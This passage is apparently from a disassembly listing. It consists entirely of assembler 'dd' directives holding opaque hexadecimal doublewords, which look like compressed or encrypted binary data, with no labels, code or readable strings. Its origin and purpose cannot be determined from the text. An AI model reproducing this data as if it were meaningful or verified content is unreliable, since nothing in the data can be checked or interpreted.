8A0AA836h, 9D572808h, 2A966D41h, 89031E48h, 765EF7BCh dd 0BD67E239h, 30C1680Ch, 16B1CD66h, 5F1673B8h, 385BD958h dd 0BDA25150h, 0B3177547h, 52E72C20h, 0AB446810h, 96DBAE4Bh dd 0E6747352h, 0BCB525A6h, 6028D8Ch, 28AB515Ch, 8543CF81h dd 2BB23257h, 18D8404h, 114BB9C9h, 0B0C211A6h, 0C0086F88h dd 62353676h, 8A3CC149h, 0A00C6755h, 5DA30490h, 89638178h dd 8C351CB0h, 92654881h, 71FC471Fh, 2524DB0Eh, 8E147452h dd 1474654Dh, 9AB85F3Ch, 0E15CB76Bh, 711B80A5h, 0A9BCFFC6h dd 2059C02Eh, 6048D2E6h, 4A31D33Fh, 974497B0h, 1539BA4Eh dd 55AE465Fh, 0E580FB38h, 9A1DCBB3h, 0BE3F0814h, 6D3436A0h dd 138E96E3h, 24A9429Ah, 74392200h, 0F238139h, 31649D3h dd 2F31428h, 1479DB9Bh, 0B3D1C9AAh, 632C4F18h, 9F9AE886h dd 9C5294AFh, 12125CCBh, 8CBD5278h, 6CB70A4Dh, 521AC287h dd 0D76DCCEh, 0AB99B981h, 220450A8h, 0C48F63F4h, 20B612A9h dd 5C7D8930h, 0AB73D52Eh, 597301CAh, 16675AB8h, 78061CF8h dd 0A1D00756h, 0E3D5C1D0h, 51700613h, 52C0B3E0h, 0C1D8B1BFh dd 0A9FA6071h, 0B0B10B00h, 811E8B3h, 11F35D11h, 9335259Fh dd 2A2561A6h, 2BCAC74Dh, 0B2ECECB7h, 84AEEDF5h, 2D71D03Ah dd 1C542ECFh, 0DC08627Dh, 77BB463Dh, 0F1330C2Eh, 16B3C2D6h dd 0DDFD7E0Dh, 1964B7F9h, 0B391553Ah, 0A0B992C6h, 3029665Bh dd 902BAA11h, 8415A56h, 0CB601A48h, 32A3B9C4h, 0F1308F78h dd 0F0E8F6A8h, 0F9D8C68Eh, 6772503Dh, 106022E2h, 1614290Ch dd 0CA6A3BF8h, 0B14469CCh, 88B04D12h, 37BEDB74h, 14EA0F52h dd 4C2C901h, 0CF17C43Ah, 0DFA084F7h, 8F054508h, 8A3A28D5h dd 0AD5A1A30h, 4780CA25h, 0CCE3EB94h, 5B569CACh, 4C94C269h dd 1E79E80Eh, 8C13B12Dh, 6581CCB1h, 0EBABC1C2h, 0E7635065h dd 66F6A972h, 675A676Bh, 0E92D521Dh, 0B4D05654h, 0D64B370Bh dd 4B41B595h, 67514235h, 4A82A610h, 5CC0C34Bh, 888A5C66h dd 444968E8h, 19AFC801h, 18E1B4A7h, 0C29D6F4Dh, 3A4C976Dh dd 0FA44539Dh, 963869C0h, 1963D8A1h, 44E5C702h, 33749546h dd 149A477Ch, 9E655645h, 0D39559E6h, 2354E518h, 8EA39866h dd 0AA106247h, 2BE1B4F1h, 3791F9B2h, 0B3C2C2D6h, 0A2D40B3Bh dd 7A13B28h, 0F0609296h, 360CBD34h, 7582A990h, 22C84FC4h dd 98AD0EC6h, 0A0FBC40Dh, 6C70C058h, 5A1C4FBEh, 82C5A50Ch dd 6941B317h, 0F0D1F19Eh, 0CAAD4822h, 45647850h, 534D3535h dd 8D06530Ch, 0C78DC506h, 0EAA45216h, 0D12858FEh, 5104EC1Ah dd 3146133Ah, 0B4FA58ECh, 51EEC729h, 20EC2515h, 0EC96A046h dd 8DA828DAh, 0F482A54Bh, 0DC298A9Ch, 82ACDAADh, 1157E48Bh dd 4773FC8Ch, 0DC832ACh, 61801CC5h, 0A088BE33h, 9CC381C7h dd 0D4C5A623h, 0A0D49552h, 95630D50h, 45B58F8Eh, 9306BB13h dd 7C1D17D8h, 0B4283529h, 983A1DC7h, 90A20C30h, 3F222CFCh dd 53EFB60Ah, 23DC3502h, 5B6066C6h, 9450AE30h, 50762DB9h dd 1A668D1Bh, 0C50890DAh, 9EFA2CF9h, 716C16A4h, 28ADB18h dd 90E7A75Ah, 54347629h, 0A4B2C16h, 0A0D6282Bh, 0EC7808E9h dd 0C2B0DDF8h, 9A29A58Ah, 15C43936h, 0DA31348Ah, 22D4D6E0h dd 0F710E7C7h, 59EA9BA3h, 0D0B24AD6h, 31E4C14Bh, 31E7F323h dd 8DEBDB0h, 8A78D673h, 5D6F9834h, 0BCD8CE0Ah, 37CD7806h dd 8A3D01A8h, 4318AC2Ch, 0D789E8C3h, 0E16E3320h, 0D7692239h dd 2D508735h, 290B0B4Eh, 28567C7h, 0C68C5A65h, 0B2549763h dd 0D760557Bh, 0F72A5B99h, 7C53C6D0h, 61079DE6h, 0BC9E23F8h dd 0CCF935F4h, 4D2E134h, 86B0F4F4h, 65113121h, 315BE676h dd 0C39EC4D3h, 5B5E0B6h, 0B223082Bh, 2B0403B8h, 42D4948Ah dd 0EA59154Bh, 26BE58Ah, 628A7144h, 78FF928Dh, 0C24BE2F4h dd 66BA11D6h, 9E1A8C89h, 4B299755h, 0E65CE081h, 3BDB5B65h dd 4961C71Eh, 23500CC5h, 0FA5D3AF1h, 0A0E6AA54h, 0CCC8169Ch dd 61800204h, 0D3EF1C30h, 0ED5F684Eh, 0DBC93D58h, 1B7F2B71h dd 2BCEF9F0h, 383886BFh, 5EA6E974h, 0E7C3BC19h, 0A14EF3D7h dd 0EB606E5Ah, 0FA7086C8h, 0D1A5AD49h, 0CAE12A6Dh, 9B0D0255h dd 0DB99B082h, 0ECE1B7DBh, 4E2ED117h, 0F8E6B25Ah, 0F81C2BAFh dd 0BBC2EAF8h, 9B6FFA3h, 4F2A30C4h, 5DCECE75h, 0E2DE8501h dd 0DD15B723h, 0DD7DFD7Ch, 9D5E2316h, 0AA8F3FF8h, 5ECEA3AEh dd 0ECF08ADDh, 0FD7E2BBBh, 0F67C6030h, 579A2EA8h, 4E88CEE3h dd 13CAFC91h, 4AA47AD6h, 9A66CC23h, 16B3C6DDh, 53858984h dd 599B4C66h, 6EDAAA49h, 0B85D0D89h, 0D331E579h, 48D816B3h dd 858D2C1h, 0AB32B150h, 4648B127h, 0D214687Eh, 2ED0347Eh dd 0B2BD508Eh, 5DCAA810h, 0B4E692CAh, 5D75A63Ch, 29D4D40Dh dd 2DE3CFC5h, 22879A1Dh, 0B7821B61h, 6B8DBC08h, 2908ED73h dd 11241710h, 95260B50h, 0A9D1150Ah, 0A74EAD4Dh, 3B01DE6Ah dd 0F509CFA9h, 18C819E4h, 9491F220h, 9B025228h, 33F45BF4h dd 9167099Bh, 220C7E01h, 0AC66E856h, 37B06F90h, 57A3ECBAh dd 966729DDh, 2498508Ch, 540A327Bh, 4C48CD80h, 0E3DA4182h dd 969F041Fh, 693A8AAAh, 0C9B02AB7h, 0C0887C04h, 5800024Dh dd 5D40FBF8h, 5CB8804h dd 0E7444D83h, 24AA928Eh, 5A0E0234h, 0A860B4EAh, 0E542B268h dd 2427CD98h, 7D518353h, 8A0CD4EAh, 0C74141A2h, 6B6645Bh dd 8EC48278h, 6231AB72h, 7318C2F4h, 6E846703h, 4A982C16h dd 82BB2031h, 99BB180h, 40305B01h, 12996D0Ah, 93493950h dd 0A61AAE7Fh, 2CA9ACC5h, 0CD18914Fh, 78B4D88Ah, 12985257h dd 14B69198h, 5D55B086h, 4083A9BCh, 0B26E3D18h, 48882091h dd 152CD88h, 8226EA54h, 4B428E59h, 6801B09Fh, 0D65A6ABh dd 0B239C2D4h, 2ED3B392h, 0D9D68048h, 831D1974h, 0F16ACD18h dd 6560A59h, 3A92741Fh, 9D3150E8h, 60CE90D6h, 54F72A19h dd 1AAA0615h, 0F8E38884h, 3154750Dh, 12305430h, 8D20CB4h dd 0A2A240DAh, 0A8658B2h, 6A3D9315h, 4A751894h, 94A2293h dd 612A8945h, 0B55E8544h, 0AD3B955Ah, 9ED1B159h, 5AED5F35h dd 35B969B5h, 0B06F8DE8h, 77BC7158h, 4A0792EDh, 9A865E6Fh dd 84E29329h, 97BF029Eh, 5CDD732Bh, 965C88Bh, 0A5438F8h dd 7551AAB7h, 6F8CAC37h, 6DA9855h, 0AE0B5F09h, 0F602963Dh dd 2B74E484h, 0EB284C22h, 0F850370Fh, 1601AE63h, 0D7AEDA01h dd 7601F953h, 5C69E00Bh, 0AD9F1BAAh, 2B7237CCh, 1F5325F2h dd 8762031Bh, 6E75F257h, 0DC5981DDh, 514F1010h, 56560A5Ch dd 9D5DDDEFh, 0ECA50FD5h, 56EDFDB1h, 0C7FFF2B9h, 116F99C4h dd 3C3AA577h, 0F2B1233h, 0A154966Ch, 2AC7FF0Fh, 3C82AD50h dd 9EFD365Dh, 0BD9DD6AEh, 0FF5AC486h, 0A803A562h, 0F261FBAFh dd 40243CFFh, 93692409h, 5BEFD51Eh, 0DF1841D4h, 0A100A097h dd 11A7111Ah, 348249AAh, 0C0E211AAh, 6D79185h, 0E845092Fh dd 0A714F011h, 3A068021h, 2F12A01h, 0B412A5EEh, 0C57ABE00h dd 988EBB88h, 823E39Ch, 522C7FD1h, 2C3A2B88h, 34E71022h dd 22609582h, 11002080h, 0E0FECD18h, 480C1B99h, 4680DFC0h dd 743C953Dh, 478A6F41h, 3065A886h, 9949080Ch, 0DE650816h dd 49D82B1Fh, 0BAEB16C9h, 2DD25C3Bh, 0A1ACA4B3h, 31B057h dd 7C3238D7h, 0C2658125h, 7C49B850h, 0BCE880CBh, 0D4464AA9h dd 0B75C8E9Ah, 9DD541AFh, 52A1BE8Bh, 437E3683h, 0D01131A2h dd 90B21ADDh, 0C1016A3Eh, 169F3601h, 39B42A6Dh, 0F4E25754h dd 2E44DE1h, 650C06A0h, 620AC014h, 0C0053140h, 6440021Ch dd 0CD1E411h, 41D418BBh, 0E24A34C2h, 6C92F85Eh, 661039A4h dd 747B92A0h, 4F345B96h, 0F6995701h, 27DAAC20h, 549F3ED2h dd 8004D4FBh, 641E0E95h, 0BB6B6B09h, 0D190A0C7h, 7AA0C3A9h dd 6D8816D8h, 0C014953Fh, 0F330907Fh, 26908A2Eh, 77102521h dd 526D2CCAh, 0A1729813h, 86351070h, 38A5F119h, 98C9A32Ch dd 0F4A2C3B1h, 0EEFA93A7h, 4193A99h, 8B2CAFB2h, 4E879119h dd 34A13601h, 0AC0C9D14h, 0F0A7C511h, 9DA30929h, 9981013Eh dd 0E078A382h, 0A695E2C5h, 0F1C50877h, 0F7AC9925h, 0B935542Dh dd 0E0F22C09h, 0B7031BA1h, 0B4E95180h, 825E1F63h, 0B40DA8B4h dd 0C2CEED18h, 30D08239h, 51236404h, 94380D2Eh, 819C5AD0h dd 8C098A94h, 30475C2Ch, 0BF083E90h, 50C85708h, 98A8300Ch dd 0C8CDC912h, 48CD6D4Ch, 80B508CDh, 0C84680C5h, 0C6CF07C2h dd 0C38DDE46h, 3C440F3Bh, 3E702D05h, 18C3AA18h, 0E00314A5h dd 1C62A046h, 8B02D108h, 260205C6h, 0E219E676h, 0B0AA1558h dd 5F2E84A1h, 7A21E57Eh, 0F00D7822h, 59FA6229h, 0FBCF6E29h dd 0A3CE6C72h, 0CABB88E1h, 0CF2A6A57h, 0AA41D11Bh, 59C07300h dd 7525564Eh, 0F1A802FBh, 8D3B40F5h, 0E86DFBCBh, 64B94F1Ch dd 676572ECh, 73830952h, 4B441014h, 0CB5C9A91h, 90167212h dd 74B1B1C3h, 27F2209Ch, 0FD387449h, 30A0BE0h, 0E1FF9416h dd 91F52CC0h, 0C642D817h, 11C6C409h, 264D8BCh, 4AE16602h dd 0D169D841h, 0E777177Bh, 1E191CDFh, 608DF5AAh, 0A16FBACh dd 14106544h, 0FA034A36h, 0FF5360B1h, 0AE40FE17h, 35C8A6D0h dd 3FFF5518h, 0B1356C8Fh, 0A1C8E01Fh, 5AA5B950h, 52A529D4h dd 5E85E9Fh, 34D3BA78h, 5C03E528h, 801B2BA8h, 2F7703A9h dd 768100C0h, 85AE88B9h, 0B5D68E80h, 9339CE50h, 0C214E007h dd 909974C6h, 0ED1934D0h, 40B85615h, 0EA928CE3h, 29300585h dd 0ECE30064h, 312E02C3h, 745E691Ah, 861868D0h, 31485288h dd 6A7D0905h, 19808C29h, 8BE03A80h, 0DDC5B4BBh, 3B2F9854h dd 781491C4h, 58048284h, 72D29656h, 773E094Bh, 1D494977h dd 815300ECh, 95B48005h, 0D4074693h, 99C80624h, 0DA6A8973h dd 4481C02Dh, 8F55CF68h, 0FA2D13B4h, 7F28D16Ch, 51DF0378h dd 823ACC49h, 2045AFF9h, 90820C01h, 0B11E1000h, 1A798AE2h dd 18180A41h, 0F5F21A22h, 6392CDAAh, 0C24BF252h, 59EA8D7Ch dd 0BED57488h, 4BAA6DC4h, 42CDC6E0h, 0F1966B05h, 2B7262CCh dd 4C84BEA6h, 26C430C5h, 0C5474408h, 0E346708h, 78F8E60h dd 27E89235h, 0AC839001h, 47488453h, 88525A2h, 6434772h dd 0EA620017h, 0F67EBC49h, 56D02CC2h, 328002F5h, 40E2370Bh dd 96C6E2E6h, 752E2D18h, 0F3EDA96h, 0B9C1446Eh, 0A6B52800h dd 2279B292h, 30E24178h, 512A2D0Fh, 61919540h, 60B82DB2h dd 31A8AC84h, 63D0541Bh, 52DCAE6Ah, 4D348F40h, 23331E26h dd 0C7A1B54Ah, 0EA089866h, 0FD9911CDh, 3D00F029h, 0F46A77D5h dd 2261219h, 8B804FCBh, 8A6C8218h, 0F114A0D4h, 69844DA2h dd 7A9160E6h, 0CC10C419h, 0A501BD89h, 0BE5C9958h, 30A34506h dd 8C880CBDh, 8BA5046Eh, 1323A8C2h, 0E9BDE30Bh, 59F8ABADh dd 97A82AC0h, 0B4445A22h, 0E5828ECh, 3347A0A1h, 4115919Ch dd 401BF68h, 0E4CF20D0h, 2DA51C8Eh, 0E192BA0Ah, 1400D205h dd 35318648h, 121CD6Ch, 20378210h, 142EFD85h, 487A2310h dd 82900898h, 41E12E02h, 0E8120A65h, 34024805h, 0A6302073h dd 0B50A5B0Ch, 0E3220A66h, 0A2E8382Ah, 0DEC82A30h, 0FFE4FCA0h dd 0A033E41Fh, 56EA5E45h, 0C2BBC894h, 0DA850211h, 740AAC56h dd 49A2508Fh, 8C189C0Ah, 61106454h, 71440C23h, 0B250DD64h dd 86D6162h, 68DEF019h, 0C504CC00h, 995997DCh, 7E9D9196h dd 19027157h, 85252390h, 7FD679B8h, 7A154682h, 0A4ACA3C8h dd 158EC004h, 2B1C4849h, 0F2B9EAEh, 691D2CC8h, 0A82F1C68h dd 5D74C848h, 8C3FD285h, 4F996B15h, 116ED391h, 95E252EEh dd 0DFDB99A8h, 881AB547h, 0ECC8BC38h, 0A997B40h, 11D9E281h dd 0C700081Ah, 0E055E0BAh, 0A5029209h, 0A4E92274h, 0E5418956h dd 8A5919BAh, 48E245E2h, 41005899h, 4643B076h, 611E8E3Eh dd 0C66942F4h, 4E32FAh, 8B9C821Ch, 0DA09BBD2h, 0CDCEB691h dd 0E4DCA6Ah, 4114405h, 41ABF12Ch, 9B4F1701h, 44CB14C3h dd 0CD9DB010h, 0A3454194h, 982CB03h, 547C48ACh, 8BD1C7Ah dd 506A8870h, 0C3C6598h, 997BA5A1h, 73DB428Ch, 49F023D5h dd 95674196h, 0AF6AD26Eh, 2DFC41B3h, 6AD388E2h, 0B95A545Fh dd 0B0C2E122h, 69664697h, 0C23D3E00h, 62284DCBh, 44B1104Dh dd 0D79A913h, 26DE3B7Eh, 2F099652h, 0DC22D057h, 1156B194h dd 0B3F89E50h, 839DA053h, 0DA54D9EEh, 0D30811C7h, 2F60527h dd 23202C6Eh, 960487A4h, 85EBD49Fh, 820549E1h, 529ACF1Ah dd 88A306A4h, 71496D17h, 4D880730h, 0FE020CA2h, 0C5B1C458h dd 0C8A2A92h, 0C8083125h, 9A68991Ah, 180A9B0Fh, 60101CCCh dd 0D3AE765Dh, 32C8F02Bh, 0EB847018h, 9E2B300Dh, 30420085h dd 0BF527ABBh, 4C41BA32h dd 0D14329F4h, 4BCC6601h, 491F455Dh, 4823F202h, 0DD064690h dd 0A67EB7E6h, 7785974Bh, 0CB072408h, 5BA95C44h, 1F87AE07h dd 63C0F0FDh, 203DE542h, 6CCF824Dh, 10A08A85h, 14364A05h dd 19471498h, 18C708B4h, 9B83089Fh, 79388CDh, 0A07EA2Ah dd 76030FB4h, 0D60F2826h, 423C13A1h, 913724Eh, 0B77F1D5Bh dd 0C04066B7h, 9902E0B2h, 0ECBE9380h, 132AA7D6h, 31597480h dd 0FB017578h, 6BF176C0h, 4C47BDD4h, 70A257DEh, 602B7DF4h dd 0B91894E2h, 0E005B602h, 6A597073h, 67A1D840h, 75487E55h dd 30DC11D4h, 14A4E839h, 0AC760544h, 0E2D1DB5Ah, 9B1E6FC1h dd 68F4B577h, 0BA9B3E55h, 3C025A48h, 4FC21847h, 13F8DF54h dd 15E927E5h, 4DD18927h, 9404780Bh, 112A27E8h, 2A1C4A0Ch dd 2D011421h, 0EA3A092Ah, 4808D48Ch, 2529B3D5h, 894DEA4Ah dd 22531296h, 89944A7h, 0C8C1D133h, 4252F016h, 0D2CA52C9h dd 0CB44C9C0h, 0C852D052h, 867952CBh, 307CCAAh, 7A89F4E2h dd 0E0259004h, 68967212h, 259B84Bh, 98A4A12Dh, 438884BFh dd 22583200h, 895B011Ch, 255804AEh, 951112B0h, 53C44AA0h dd 4C122A02h, 204AA709h, 41289425h, 44883094h, 0E1B04250h dd 21FA5F8h, 0F912A1F0h, 0D84B6008h, 212EF025h, 84B6A097h dd 70D4025Bh, 80040559h, 6312010Eh, 804A7289h, 0B12BC425h dd 4ABE895h, 12A82256h, 4A808955h, 29822548h, 0A40994E1h dd 8A155284h, 84014612h, 11FC6CCCh, 0F8250910h, 1BC7090h dd 0E001E848h, 5D048043h, 6E121EE2h, 0A04BB889h, 0E12BD625h dd 4A61895h, 12904256h, 0C0EF094Ah, 0A3DA3205h, 31801951h dd 25083814h, 0C143118Ah, 0C12F4BF9h, 0C4BBE897h, 12E8225Dh dd 4B900975h, 2DC225CCh, 0B5099701h, 0C8255B04h, 0F8956712h dd 4256844Ah, 1924C12Bh, 59804AAh, 6352B01h, 234288h, 0A34304A9h dd 0AA7A402Ah, 4199383h, 3F3C792Ch, 0C502155h, 89418E02h dd 70100461h, 585312FEh, 20FAFA15h, 0B897CF80h, 0C49E0047h dd 0B1440AAh, 4B167338h, 8766182h, 0A84B66E0h, 612C0023h dd 0C4B14096h, 12C08258h, 51770961h, 0D4BC1559h, 1559164Ch dd 183542h, 0B10051CBh, 55B5D61Ah, 1A404690h, 1193310h dd 82AB4338h, 70088252h, 56803C64h, 63F6185h, 1E825A08h dd 37508DFAh, 23AB46h, 8855087Ah, 0B600CC4Bh, 2AB569C5h dd 801C63A4h, 239426B6h, 82D87300h, 0C2152AB5h, 7655C031h dd 0E1615AE1h, 2362EA02h, 5560B992h, 3EEB617h, 1BB479B9h dd 1B42A861h, 46DD9F03h, 0C0472Eh, 0B0597BF3h, 4B00C5C4h dd 62555BD8h, 88C12C9h, 8586058h, 5F850190h, 0BB8741A1h dd 24D820A6h, 0D061A590h, 0C0085398h, 4CB4EC60h, 0C4C24FDBh dd 15945E30h, 0E4580CD1h, 20346C2Dh, 22B2010h, 719BBB1Bh dd 3B65699Bh, 856CA57h, 8B1DD6E8h, 35D42B49h, 12CBA12Bh dd 6E84C5ADh, 0D032785Dh, 0C1800B30h, 6EE0C9E8h, 90210DCh dd 3887D97Ah, 503120B0h, 0D004B1Bh, 0D1411D59h, 3D018495h dd 0C103CC50h, 0C0448ED6h, 2838AB2Bh, 0A8B0FCABh, 58D596Dh dd 0D1FD1889h, 0CAE7D9Fh, 65323226h, 435463E7h, 503FBD3h dd 0F8480D22h, 7A6C5583h, 4AE54E1Bh, 58A8C668h, 144A746Ch dd 18AD805Ch, 183A808Ch, 0B081D755h, 0D95CB66h, 78C06347h dd 0DE048BECh, 7328A066h, 0B4D54161h, 0A27488D6h, 702C8229h dd 8112C510h, 0E6C87722h, 7117DEE5h, 9DC050A0h, 0B7AC28ABh dd 8CAB89BAh, 3060FB87h, 8E629879h, 8984CE61h, 98824E60h dd 21032618h, 0A0B0110h, 0C84511ECh, 8985DEh, 4EC04EC5h dd 83E98A11h, 3460F021h, 255E1588h, 4408C410h, 51286E00h dd 83755753h, 0E8057240h, 5CA2E222h, 77552071h, 16255BECh dd 4A990145h, 0FE8FD418h, 2BA8B7FCh, 0F3645728h, 70D8403Ah dd 706D5188h, 0A0816237h, 0F71C00E1h, 3D0B1D71h, 2987D95Dh dd 0A0701818h, 1162CC29h, 0C40C3096h, 98B8E22h, 0D7AB2C3h dd 33ACFA4Ah, 63A08558h, 4A4468F1h, 8BBCE40Ah, 608B4B11h dd 82AFEC29h, 0DEDC0B16h, 880CC545h, 0F40ABE8Eh, 0F4AE1757h dd 0B17308B6h, 587183C1h, 5BC3721Ch, 0FB7D0B22h, 10A60D3h dd 640F0B25h, 2CE255DCh, 0C485AC03h, 302E020Ah, 8ED386E2h dd 6F480865h, 0DAE57329h, 0D965C58Ah, 408476h, 8C1272B1h dd 56F4E38Fh, 58144595h, 60209C8Ch, 0F1389C64h, 3B5DB3BAh dd 0D4880A16h, 0B9FDD6E0h, 1826D465h, 214584C7h, 0B4DCC2Fh dd 0E36B0Dh, 19879582h, 0C52DB397h, 42B715A6h, 0B0C13630h dd 45845BC9h, 0D24755Ah, 20682019h, 9A5059B3h, 15C85BA1h dd 72BA08CBh, 8814129Ah, 0DA0E9360h, 620700A2h, 7450066Dh dd 56FB702Fh, 340161ADh, 82C4403Fh, 32CC6961h, 40865BAh dd 2811A2DEh, 24D52E15h, 539D9623h, 0C841D1A2h, 0E2208189h dd 84DCD518h, 0C502EF1h, 2FFD01A6h, 0E94908ADh, 704410CAh dd 9028020h, 6F3145Ch, 0D6F01AFEh, 7B808485h, 831D93EAh dd 59513CA3h, 8A0169BCh, 39BC08B3h, 628C1DCDh, 0F8168531h dd 146E18A0h, 62C561C5h, 65330A91h, 25AE810Eh, 192498C8h dd 0FB72AD4Eh, 57C4C102h, 8AF83D2Dh, 662C7DAAh, 0A0F586FDh dd 984A5C9h, 0ADE0B1C6h, 9BDAD918h, 35A0C4CCh, 0B9B9516Bh dd 5084A4C4h, 3373A16Ah, 97040121h, 0E577A04Dh, 96802592h dd 6A05BC14h, 1D1A7314h, 751D2CB5h, 0A6334C62h, 0E75871B3h dd 5A4153A3h, 0CD578444h, 0C07CC98Ch, 3D6061CEh, 301B57D0h dd 58E05096h, 934980A3h, 1BF1B643h, 0C7A694D5h, 7038C36Dh dd 0D66F0CC0h, 4BC928F4h, 62C52091h, 4893831Ch, 0A2AD0267h dd 28150804h, 2D1C10F3h, 60378FC4h, 933599A6h, 0C1A4ECC9h dd 9029253Bh, 5806664Ch, 543448CCh, 30308AEBh, 3198C5B5h dd 17DC575Bh, 0A355420Ah, 5EE7E45Eh, 0CF2F2A05h, 0EED22DA4h dd 0D784F488h, 5EFC9CFFh, 5A0AC002h, 6B039885h, 0C20B4609h dd 78B0BC2h, 0E8C9CABBh, 8ABCA8B1h, 53BB88ABh, 468AEE8Dh dd 5D1C4F97h, 671C15D6h, 0AC5E302Ch, 63A30946h, 2FAA34h dd 0B9010AABh, 0C406AE2Bh, 0BA4EC0Fh, 47C5ABD8h, 0C17DC7FEh dd 7690F9F5h, 6EC91E65h, 0CC0AC99Fh, 852E8BA1h, 695B5021h dd 0D14511CDh, 5637C423h, 14AE4AA7h, 103E5F9Eh, 15B94EEFh dd 0E0F8F9C3h, 5333000Ch, 9C9D7043h, 91C13F72h, 0C27064CBh dd 695F2505h, 0A6B02EBFh, 0D1F528AFh, 64E45BB1h, 66C5D7A0h dd 998E8119h, 60A4C2C9h, 355B0101h, 0ADA2DC7h, 62CAFFF8h dd 954D152Ah, 0DD04AE72h, 0FAD8D64Ah, 7D8C27Fh, 464BBFC6h dd 5012BA4Dh, 5831D4EDh, 0B0A66B7h, 87816022h, 41A35696h dd 0B16A9019h, 0AA7BA84Fh, 0C2C18854h, 0CA86AB1Ch, 52AA5A06h dd 0B07D204h, 69BF068Bh, 1E56BC40h, 0F89309A3h, 4721B455h dd 21405878h, 45EAA6E1h, 0D0A0A801h, 874E7773h, 0A1096928h dd 3642D215h, 605033E0h, 1B4CBECDh, 98CAEA8Dh, 0DF6AE57h dd 2575166Ch, 0E4120511h, 0A6BCF680h, 0B02C4400h, 0FB248D57h dd 0AFA911C1h, 3E218BBh, 0EC10AD16h, 3280989Ah, 146CA034h dd 706C6ACBh, 0C4D18540h, 0F0A4B7FCh, 0AA7246A3h, 479A7072h dd 4307EA55h, 0FC2CDE0h, 4716F837h, 0D5F8F147h, 7D163E30h dd 902557ECh, 9AB33017h, 918D2FC5h, 0A76B801Bh, 5472D4F7h dd 0C263AE09h, 18A5810Fh, 0A450438Eh, 613E03h, 0F02E57D4h dd 1C8A39C2h dd 0BD4F91E3h, 8854096Ah, 8E6E1B4Dh, 0EFAF587Ch, 71A0B73Bh dd 0A0852D00h, 98CE7AF8h, 0A2365CC9h, 0C5FFA16Ah, 0F56251E0h dd 315909F5h, 0FE8860A3h, 95412FE2h, 0DE962D48h, 92648041h dd 0EE3D7C72h, 76022B1Fh, 0DE034EA0h, 0C6976669h, 3E4E063Eh dd 0C6846A9Fh, 5A633BD0h, 364A4C2Dh, 0E0810746h, 1B548D0Ch dd 9BF0411Fh, 39805E68h, 2A05EA6Eh, 804339ACh, 0CAE0E472h dd 3A988860h, 3A589591h, 388A9501h, 59579481h, 53835F4Eh dd 649850F1h, 0E73BC5C0h, 662F3133h, 0D2E89C2Dh, 0B55E25BCh dd 0F335CAFFh, 0F7358EEFh, 0A7DF90EDh, 172F7C4Ch, 0CC317EC4h dd 0F2FD8F8Ah, 0DF056264h, 6E341C2Eh, 0CEF789FDh, 53EDCDDh dd 16EEDDC2h, 66335707h, 0FEB785AAh, 0FEE89D7Eh, 0F9E8989h dd 0FF8CB4D8h, 78F8B3CEh, 12268A70h, 0DBC26CDBh, 0F93F4303h dd 6391ED31h, 0B5FC9E8Fh, 1986FC6Eh, 2C231F86h, 96CE2E01h dd 0E9F84A2Dh, 0DE8C1EEFh, 0FEB399FFh, 7791B1AFh, 0C18FC857h dd 0C2E7CD77h, 30048BC0h, 8DBE9891h, 0F0D3B83Dh, 0DFC62FA9h dd 5FDCE8F2h, 0ADC8B839h, 0C99D0E5Fh, 57271F0Ch, 8AB3310h dd 2AA97A7Dh, 0FD91A062h, 7CAAD8B8h, 0F3123BA1h, 51B2A786h dd 0BC6FEB5Dh, 0FE70C4BBh, 75DC628Bh, 0A4C1F8D8h, 0A84ACE7Eh dd 21C6A82Bh, 0F3D9A673h, 538DEDEFh, 0A76A261Fh, 1C60C163h dd 8000942Dh, 0F8041F50h, 8B21BFD9h, 7C1F1AAEh, 0F5CF8430h dd 0C008042Ah, 13EA8460h, 5A75155Eh, 6623DC92h, 0E7A4EABEh dd 5D110A2Ch, 0E268A093h, 7ABECF7Fh, 2E41FD05h, 7C2AC9CBh dd 0FA685A7Ch, 8F72350Ah, 5F19ACEFh, 634ABF94h, 0FA85129h dd 0A96FFF2Eh, 0E8F07C2Eh, 8F5CFA9h, 18F57994h, 1E2C3334h dd 8294D517h, 8DEF59F7h, 0E4691561h, 0D57975C1h, 0EAC30E62h dd 0E9EA8B17h, 0BF6C9E80h, 0F60F080Ah, 8B154D38h, 40D2A2ACh dd 6E95005h, 0C29955D2h, 0B976F47Fh, 0F965B9D0h, 63981CC6h dd 9386E304h, 0FC177E97h, 95773495h, 74F15C03h, 16CAB186h dd 98F38EDEh, 5CCC751Eh, 4AE3B789h, 38FE0E8Ch, 2B13EB0Eh dd 7A802426h, 50555E6Dh, 51FF28B0h, 9588FF3Ah, 0ED8111B3h dd 9C3E367Fh, 522E5FE0h, 0F38DABA5h, 0C36AA8C2h, 1A287A37h dd 922E3FB2h, 2BFC2C71h, 7935FCC6h, 1EB3E6CCh, 1157729h dd 79881D35h, 735977B2h, 0C6695596h, 4965F50Ah, 3DBC30D9h dd 96AF3627h, 0B96B5AE3h, 419E5783h, 0DC61783h, 1B99796Bh dd 0DF707658h, 76915D94h, 288A0E95h, 31EB3946h, 8367D80Eh dd 56D2FDF3h, 17A36DF4h, 0DB9CE393h, 915B9BCBh, 0E535B63Eh dd 0F595B72h, 40987B31h, 4AF4AAACh, 0D0DCC738h, 1CA516D8h dd 157C2E22h, 0EC2F6BB9h, 2EFE9043h, 7B5DF1DFh, 30927286h dd 18BDB1EFh, 0A9A96315h, 0D0CF175Eh, 0AAF26C5Ah, 0CA43DA8h dd 0C9DF8586h, 455B8270h, 0A3C058Ah, 943C6070h, 85DC798Bh dd 3BB6A920h, 5DD1E28Bh, 135CA611h, 759963E7h, 2BD8AF6Eh dd 4E2D190Dh, 11303CE2h, 0A94A84B3h, 0C0198C2Eh, 60A28A53h dd 63628003h, 0D6F40284h, 40AAB403h, 82BDBF0h, 8292120h dd 94C2D913h, 0FCD0A0A3h, 260A2Bh, 7BDB3072h, 0BB26D9D2h dd 8C78A801h, 4184C88h, 915D8C68h, 79B2046Dh, 28A8D8D1h dd 0B38CD58Bh, 0CEC5F30Ah, 1420C729h, 0AE317025h, 753DDC34h dd 0DCCF1A5h, 0AC13F142h, 0F86F9C5Bh, 41A05E9Dh, 0A0EDD6D9h dd 0F4ABCFC8h, 0E316A6A6h, 0FE34A426h, 0E28625D3h, 0B9BA2A32h dd 5AF5975h, 992D54E8h, 0D0541809h, 175C4C45h, 0A62B6477h dd 7484894h, 0DAA1C08Ch, 0C9589555h, 3302981Ch, 0CA44905Fh dd 0B8489636h, 0D9BA96A4h, 715BB3C2h, 0D03F79C5h, 6B95E94Ah dd 4478C9C4h, 2C4A5AB0h, 0A8F0AE6Eh, 0B31971AAh, 80478D91h dd 4CA1256Bh, 6BCBA3CEh, 661507A9h, 